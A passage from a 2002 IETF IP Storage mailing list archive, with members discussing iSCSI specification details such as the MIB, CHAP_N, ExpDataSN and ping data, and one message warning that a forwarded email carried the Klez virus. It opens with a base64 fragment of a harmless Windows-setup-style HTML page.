PEhUTUw+DQoJPEhFQUQ+DQoJCTxsaW5rIHJlbD1zdHlsZXNoZWV0IHR5cGU9InRleHQvY3Nz IiBocmVmPSJtc29ic2hlbC5jc3MiPg0KCQk8TUVUQSBodHRwLWVxdWl2PSJDb250ZW50LVR5 cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCgk8L0hFQUQ+ DQoJPEJPRFkgVEFCSU5ERVg9LTEgb25sb2FkPSJ3aW5kb3cucGFyZW50Lmluc3RhbGxkX0xv YWRNZSgpOyI+DQoNCgkJPGltZyBpZD0iV2F0ZXJNYXJrIiBjbGFzcz1ncmFkaWVudCBzcmM9 Ii4uL2ltYWdlcy93YXRlcm1yay5naWYiPg0KICAgICAgICA8aW1nIGlkPSJTdGFnZUltYWdl IiBjbGFzcz1sZWZ0cGFuZSBzcmM9Ii4uL2ltYWdlcy9pbnN0YWxsZC5qcGciPg0KICAgICAg ICA8SU1HIGlkPSJpbWdEcm9wU2hhZG93IiBjbGFzcz0iZHJvcHNoYWRvdyIgc3JjPSIuLi9p bWFnZXMvZHJwc2hkdy5qcGciPiANCiAgICAgICAgPGltZyBpZD0iaW1nQ29uZmV0dGkiIHN0 eWxlPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7IHRvcDowcHg7IGxl ZnQ6MHB4OyBaLUluZGV4OjUiPg0KDQoJCTxTUEFOIFRBQklOREVYPS0xIGlkPSJJbnN0YWxs ZF9USVRMRSIgQ0xBU1M9InBhZ2VUaXRsZSI+DQoJCQk8SUQgaWQ9Ikluc3RhbGxkX1RJVExF Ij5Db25ncmF0dWxhdGlvbnMhPC9JRD4NCgkJPC9TUEFOPg0KDQoJCTxTUEFOIFRBQklOREVY PS0xIENMQVNTPSJjb250ZW50cyI+DQoJCSAgICA8RElWIFRBQklOREVYPS0xPjxJRCBpZD0i SW5zdGFsbGRfSU5GTzEiPllvdSBoYXZlIHN1Y2Nlc3NmdWxseSBzZXQgdXAgV2luZG93cyBv biB5b3VyPC9JRD4gPFNQQU4gaWQ9InNwYW5PRU1OYW1lIj48L1NQQU4+IDxJRCBJRD0iSW5z dGFsbGRfSU5GTzIiPmNvbXB1dGVyLjwvSUQ+PC9ESVY+DQogICAgICAgICAgICA8YnI+DQog ICAgICAgICAgICA8RElWIEFMSUdOPVJJR0hUPjxpbWcgaWQ9ImltZ0ZsYWdBbmkiIHN0eWxl PSJ2aXNpYmlsaXR5OmhpZGRlbjsgWi1JbmRleDo1Ij48L0RJVj4NCiAgICAgICAgICAgIDxi cj4NCiAgICAgICAgICAgIDxESVYgVEFCSU5ERVg9LTEgaWQ9Ikluc3RhbGxkX0lORk8zIj5D bGljayBGSU5JU0ggdG8gYmVnaW4gdXNpbmcgV2luZG93cy48L0RJVj4NCgkJPC9TUEFOPg0K DQoJCTxTUEFOIFRBQklOREVYPS0xIGlkPSJuYXZiYXIiIENMQVNTPSJuYXZiYXIiPg0KCQkJ PEhSIE5PU0hBREUgQ0xBU1M9ImJsYWNrQmFyIj4NCgkJCTxTUEFOIFRBQklOREVYPS0xIElk PXNwYW5CYWNrIG9uY2xpY2s9IndpbmRvdy5wYXJlbnQuR29CYWNrKCk7Ij4NCgkJCQk8SU1H IElkPWJ0bkJhY2sgIGNsYXNzPWJhY2tCdXR0b24+DQoJCQkJPExBQkVMIFRBQklOREVYPTEg QUNDRVNTS0VZPSJCIiBmb3I9ImJ0bkJhY2tUZXh0IiBJZD1idG5CYWNrVGV4dCBjbGFzcz1i YWNrQnV0dG9uVGV4dD4NCgkJCQkJPElEIGlkPSJMT0NBTF9CQUNLIj48VT5CPC9VPmFjazwv SUQ+DQoJCQkJPC9MQUJFTD4NCgkJCTwvU1BBTj4NCgkJCTxTUEFOIFRBQklOREVYPS0xIElk PXNwYW5OZXh0IG9uY2xpY2s9IndpbmRvdy5wYXJlbnQuR29OZXh0KCk7Ij4NCgkJCQk8SU1H IElkPWJ0bk5leHQgY2xhc3M9bmV4dEJ1dHRvbj4NCgkJCQk8TEFCRUwgVEFCSU5ERVg9MiBB Q0NFU1NLRVk9IkYiIGZvcj0iYnRuTmV4dFRleHQiIElkPWJ0bk5leHRUZXh0IGNsYXNzPW5l eHRCdXR0b25UZXh0Pg0KCQkJCQk8SUQgaWQ9IkxPQ0FMX0ZJTklTSCI+PFU+RjwvVT5pbmlz aDwvSUQ+DQoJCQkJPC9MQUJFTD4NCgkJCTwvU1BBTj4NCgkJPC9TUEFOPg0KCTwvQk9EWT4N CjwvSFRNTD4NCj== --G89VBcj2j9O128ce4N8ZE03569EH328j4wRYZ-- From owner-ips@ece.cmu.edu Tue Aug 13 21:09:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA27858 for ; Tue, 13 Aug 2002 21:09:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7E0JkO20461 for ips-outgoing; Tue, 13 Aug 2002 20:19:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ariel.nishansystems.com (ultrex.nishansystems.com [12.36.127.195]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7E0Jio20456 for ; Tue, 13 Aug 2002 20:19:44 -0400 (EDT) Received: by ariel.nishansystems.com with Internet Mail Service (5.5.2653.19) id ; Tue, 13 Aug 2002 17:19:33 -0700 Message-ID: From: Bart Berger To: "'ips@ece.cmu.edu'" Subject: RE: ips,introduction on ADSL -- may contain virus Date: Tue, 13 Aug 2002 17:19:30 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24328.41C186B0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24328.41C186B0 Content-Type: text/plain; charset="iso-8859-1" Caution: Norton Antivirus at our site blocked the email below, saying the FINISH.exe attachment contained the W32.Klez.H@mm virus. -----Original Message----- From: jpink [mailto:jpink@microsoft.com] Sent: Tuesday, August 13, 2002 4:50 PM To: ips@ece.cmu.edu Subject: Fw:ips,introduction on ADSL ------_=_NextPart_001_01C24328.41C186B0 Content-Type: text/html; charset="iso-8859-1"

Caution: Norton Antivirus at our site blocked the email below, saying the FINISH.exe attachment contained the W32.Klez.H@mm virus. 
-----Original Message-----
From: jpink [mailto:jpink@microsoft.com]
Sent: Tuesday, August 13, 2002 4:50 PM
To: ips@ece.cmu.edu
Subject: Fw:ips,introduction on ADSL

------_=_NextPart_001_01C24328.41C186B0-- From owner-ips@ece.cmu.edu Wed Aug 14 16:44:06 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24490 for ; Wed, 14 Aug 2002 16:44:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7EKACZ24390 for ips-outgoing; Wed, 14 Aug 2002 16:10:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7EKAAo24382 for ; Wed, 14 Aug 2002 16:10:10 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 3266B30706; Wed, 14 Aug 2002 16:10:09 -0400 (EDT) Date: Wed, 14 Aug 2002 13:05:45 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Subject: iSCSI MIB-05 concerns Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Last I looked, this was the latest draft. I have a few concerns with it: 1) The text for iscsiCtxMaxRecvDataSegLength (page 55) says: Note that the size is reported in bytes even though the negotiation is in 512k blocks. I think that sentance should be deleted. :-) 2) I have a concern with iscsiSsnAuthIdentity (or with its descriptive text). The description reads: "This object contains a row in the IPS-AUTH MIB which identifies the authentication method being used on this session, as communicated during the login phase." My concern is that the text implies that only one security method can be used for a session, while the iSCSI spec does not imply that. From my read of the spec, different connections within a session can use different authentication methods. All that is required is that both sides agree during security negotiations on the method, and then authenticate each other. For long-lived sessions (say sessions in a data center) I can see a definite advantage to permitting different auth methods. Say we've had our systems up for a month, and we administratively decide we want to change auth methods (say a pointy-hair boss decides SPKM or SRP or CHAP or Kerberos is the way to go, even though it was not what we were doing when we fired the systems up a month ago). If we force only one auth method per session, then we have to tear down sessions if we ever want to add connections, which seems like a waste. Also, the name doesn't really match the text. Identity seems a broader concept that auth method. Fixes: a) move this to iscsiCxnAuthMethod b) make it the last authentication method used on a connection c) change it to point to the identity in IPS-AUTH used for authorization, rather than the method used to authenticate. I can definitely see the identity needing to stay the same for all connections in a session. Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 15 13:24:56 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05685 for ; Thu, 15 Aug 2002 13:24:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7FGgh328683 for ips-outgoing; Thu, 15 Aug 2002 12:42:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7FCGuo14879 for ; Thu, 15 Aug 2002 08:16:57 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21859; Thu, 15 Aug 2002 08:15:21 -0400 (EDT) Message-Id: <200208151215.IAA21859@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-fcip-slp-03.txt Date: Thu, 15 Aug 2002 08:15:21 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Finding FCIP Entities Using SLP Author(s) : D. Peterson Filename : draft-ietf-ips-fcip-slp-03.txt Pages : 12 Date : 14-Aug-02 The FCIP protocol [FCIP] provides a method for the tunneling of Fibre Channel frames over an IP network. This document defines the use of Service Location Protocol, version 2 (SLPv2) [RFC2608], by FCIP Entities to discover one another, and provides the appropriate templates describing their services. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-fcip-slp-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-fcip-slp-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-fcip-slp-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020814134819.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-fcip-slp-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-fcip-slp-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020814134819.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Thu Aug 15 22:34:06 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA23939 for ; Thu, 15 Aug 2002 22:34:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7G1hCK24381 for ips-outgoing; Thu, 15 Aug 2002 21:43:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7G1h9o24375; Thu, 15 Aug 2002 21:43:10 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7G1grq6048432; Fri, 16 Aug 2002 03:42:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7G1gqet072264; Fri, 16 Aug 2002 03:42:52 +0200 To: Steve Senum Cc: ietf-ips , owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI: Minor Comment on CHAP_N X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 16 Aug 2002 04:42:47 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 16/08/2002 04:42:52, Serialize complete at 16/08/2002 04:42:52 Content-Type: multipart/alternative; boundary="=_alternative 0008FDA2C2256C17_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0008FDA2C2256C17_= Content-Type: text/plain; charset="us-ascii" I've added a comment about this to 7.2 _ It will show up tomorrow. Julo For some of the authentication methods a key specifies the identity of the iSCSI initiator or target for authentication purposes. The value associated with that key MAY be different from the iSCSI name and SHOULD be configurable (e.g, CHAP_N - see Section 10.1.4 Challenge Handshake Authentication Protocol (CHAP) and SRP_U - see Section 10.1.3 Secure Remote Password (SRP)). Steve Senum Sent by: owner-ips@ece.cmu.edu 08/14/2002 01:11 AM To: ietf-ips cc: Subject: iSCSI: Minor Comment on CHAP_N Julian and Ofer, At the last plugfest, Ayman said there seemed to be some confusion about the CHAP_N key. It would be helpful to add a comment in section 10.1.4 to the effect of: The CHAP_N key specifies the identity of the iSCSI Initiator or Target for CHAP authentication purposes, which may be different from the iSCSI name and should be configurable. I think a similiar comment applies to SRP_U key. Regards, Steve Senum --=_alternative 0008FDA2C2256C17_= Content-Type: text/html; charset="us-ascii"
I've added a comment about this to 7.2 _ It will show up tomorrow. Julo

For some of the authentication methods a key specifies the identity of the iSCSI initiator or target for authentication purposes. The value associated with that key MAY be different from the iSCSI name and SHOULD be configurable (e.g, CHAP_N - see Section 10.1.4 Challenge Handshake Authentication Protocol (CHAP) and SRP_U - see Section 10.1.3 Secure Remote Password (SRP)).


Steve Senum <ssenum@cisco.com>
Sent by: owner-ips@ece.cmu.edu

08/14/2002 01:11 AM

       
        To:        ietf-ips <ips@ece.cmu.edu>
        cc:        
        Subject:        iSCSI: Minor Comment on CHAP_N

       


Julian and Ofer,

At the last plugfest, Ayman said there seemed to be
some confusion about the CHAP_N key.  It would be helpful
to add a comment in section 10.1.4 to the effect of:

 The CHAP_N key specifies the identity of the iSCSI
 Initiator or Target for CHAP authentication purposes, which
 may be different from the iSCSI name and should be configurable.

I think a similiar comment applies to SRP_U key.

Regards,
Steve Senum

--=_alternative 0008FDA2C2256C17_=-- From owner-ips@ece.cmu.edu Fri Aug 16 07:39:36 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11777 for ; Fri, 16 Aug 2002 07:39:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7GB2Yo23284 for ips-outgoing; Fri, 16 Aug 2002 07:02:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7GB2Xo23280 for ; Fri, 16 Aug 2002 07:02:33 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7GB2Qq6031014 for ; Fri, 16 Aug 2002 13:02:27 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7GB2PTF057838 for ; Fri, 16 Aug 2002 13:02:26 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: iSCSI - ExpDataSN X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 16 Aug 2002 14:02:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 16/08/2002 14:02:25, Serialize complete at 16/08/2002 14:02:25 Content-Type: multipart/alternative; boundary="=_alternative 003C62BEC2256C17_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 003C62BEC2256C17_= Content-Type: text/plain; charset="us-ascii" Mallikarjun has expressed a lingering concern that we should allow the value 0 for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK). Please observe that we already allow the target to do this on its own and this change does not affect any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6 For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number. The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no more Data-In PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN. The value of ExpDataSN MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target. For other functions this field is reserved. Please let me know what you think. Julo --=_alternative 003C62BEC2256C17_= Content-Type: text/html; charset="us-ascii"
Mallikarjun has expressed a lingering concern that we should allow the value 0
for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK).
Please observe that we already allow the target to do this on its own and this change does not affect
any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6

For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number.  The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also  send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN.

The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target.

For other functions this field is reserved.

Please let me know what you think.

Julo --=_alternative 003C62BEC2256C17_=-- From owner-ips@ece.cmu.edu Fri Aug 16 08:34:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13389 for ; Fri, 16 Aug 2002 08:34:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7GC0Tc25076 for ips-outgoing; Fri, 16 Aug 2002 08:00:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com ([64.238.111.99]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7GC0So25071 for ; Fri, 16 Aug 2002 08:00:28 -0400 (EDT) Received: by ATLOPS with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 08:00:12 -0400 Message-ID: From: Eddy Quicksall To: "ips@ece. cmu. edu (E-mail)" Subject: iSCSI: ping data size Date: Fri, 16 Aug 2002 08:00:11 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2451C.793459B0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2451C.793459B0 Content-Type: text/plain; charset="iso-8859-1" Is there a good reason why the originator would need ALL of the ping data back? If not, can we allow the size of ping response data to be at the responders discretion? Eddy mailto:Eddy_Quicksall@iVivity.com ------_=_NextPart_001_01C2451C.793459B0 Content-Type: text/html; charset="iso-8859-1"
Is there a good reason why the originator would need ALL of the ping data back?
 
If not, can we allow the size of ping response data to be at the responders discretion?
 
Eddy
mailto:Eddy_Quicksall@iVivity.com
 
------_=_NextPart_001_01C2451C.793459B0-- From owner-ips@ece.cmu.edu Fri Aug 16 08:34:52 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13405 for ; Fri, 16 Aug 2002 08:34:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7GCR7G25920 for ips-outgoing; Fri, 16 Aug 2002 08:27:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7GCR5o25915; Fri, 16 Aug 2002 08:27:05 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7GCQwq6047692; Fri, 16 Aug 2002 14:26:58 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7GCQwTF087468; Fri, 16 Aug 2002 14:26:58 +0200 To: Eddy Quicksall Cc: "ips@ece. cmu. edu (E-mail)" , owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI: ping data size X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 16 Aug 2002 15:26:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 16/08/2002 15:26:58, Serialize complete at 16/08/2002 15:26:58 Content-Type: multipart/alternative; boundary="=_alternative 0043CB07C2256C17_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0043CB07C2256C17_= Content-Type: text/plain; charset="us-ascii" The originator may be trying to measure something. Allowing the responder to twart the answer would be counterproductive. Julo Eddy Quicksall Sent by: owner-ips@ece.cmu.edu 08/16/2002 03:00 PM To: "ips@ece. cmu. edu (E-mail)" cc: Subject: iSCSI: ping data size Is there a good reason why the originator would need ALL of the ping data back? If not, can we allow the size of ping response data to be at the responders discretion? Eddy mailto:Eddy_Quicksall@iVivity.com --=_alternative 0043CB07C2256C17_= Content-Type: text/html; charset="us-ascii"
The originator may be trying to measure something. Allowing the responder to twart the answer would be counterproductive.

Julo


Eddy Quicksall <eddy_quicksall@ivivity.com>
Sent by: owner-ips@ece.cmu.edu

08/16/2002 03:00 PM

       
        To:        "ips@ece. cmu. edu (E-mail)" <ips@ece.cmu.edu>
        cc:        
        Subject:        iSCSI: ping data size

       


Is there a good reason why the originator would need ALL of the ping data back?
 
If not, can we allow the size of ping response data to be at the responders discretion?
 
Eddy
mailto:Eddy_Quicksall@iVivity.com
 

--=_alternative 0043CB07C2256C17_=-- From owner-ips@ece.cmu.edu Fri Aug 16 15:39:07 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA29170 for ; Fri, 16 Aug 2002 15:39:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7GJ1jd14894 for ips-outgoing; Fri, 16 Aug 2002 15:01:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7GJ1ho14890 for ; Fri, 16 Aug 2002 15:01:43 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by atlrel9.hp.com (Postfix) with ESMTP id 9E2C8E01083; Fri, 16 Aug 2002 15:01:40 -0400 (EDT) Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 7674712D; Fri, 16 Aug 2002 15:01:35 -0400 (EDT) Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2655.55) id ; Fri, 16 Aug 2002 15:01:52 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF72D@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - ExpDataSN Date: Fri, 16 Aug 2002 15:01:26 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24557.5236A760" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24557.5236A760 Content-Type: text/plain; charset="iso-8859-1" If I understand correctly, this change will align the TASK REASSIGN task management function behavior with the SNACK request behavior wrt understanding that the value 0 means "send me all unacked data" - that makes sense to me. In the 3rd sentence, it's not clear to me what you mean by "a new data acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN or 0? The use of the word "new" leave the impression that the requestor is somehow resetting this number and offering a new one? Editorial comments: the 3rd sentence in the first paragraph seems to be missing a comma after "Bidirectional command"? And the word "acknowledgement" is mis-spelled in the hyphenated spot. I've corrected the text below: For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command, ExpDataSN will contain either a new data acknowledge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number. The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN. The value of ExpDataSN MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target. For other functions this field is reserved. ------_=_NextPart_001_01C24557.5236A760 Content-Type: text/html; charset="iso-8859-1"
If I understand correctly, this change will align the TASK REASSIGN task management function behavior with the SNACK request behavior wrt understanding that the value 0 means "send me all unacked data" - that makes sense to me. 
 
In the 3rd sentence, it's not clear to me what you mean by "a new data acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN or 0?  The use of the word "new" leave the impression that the requestor is somehow resetting this number and offering a new one? 
 
Editorial comments: the 3rd sentence in the first paragraph seems to be missing a comma after "Bidirectional command"?  And the word "acknowledgement" is mis-spelled in the hyphenated spot.  I've corrected the text below:
 
For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command, ExpDataSN will contain either a new data acknowledge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number.  The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also  send no more Data-In ! PDUs if it sent 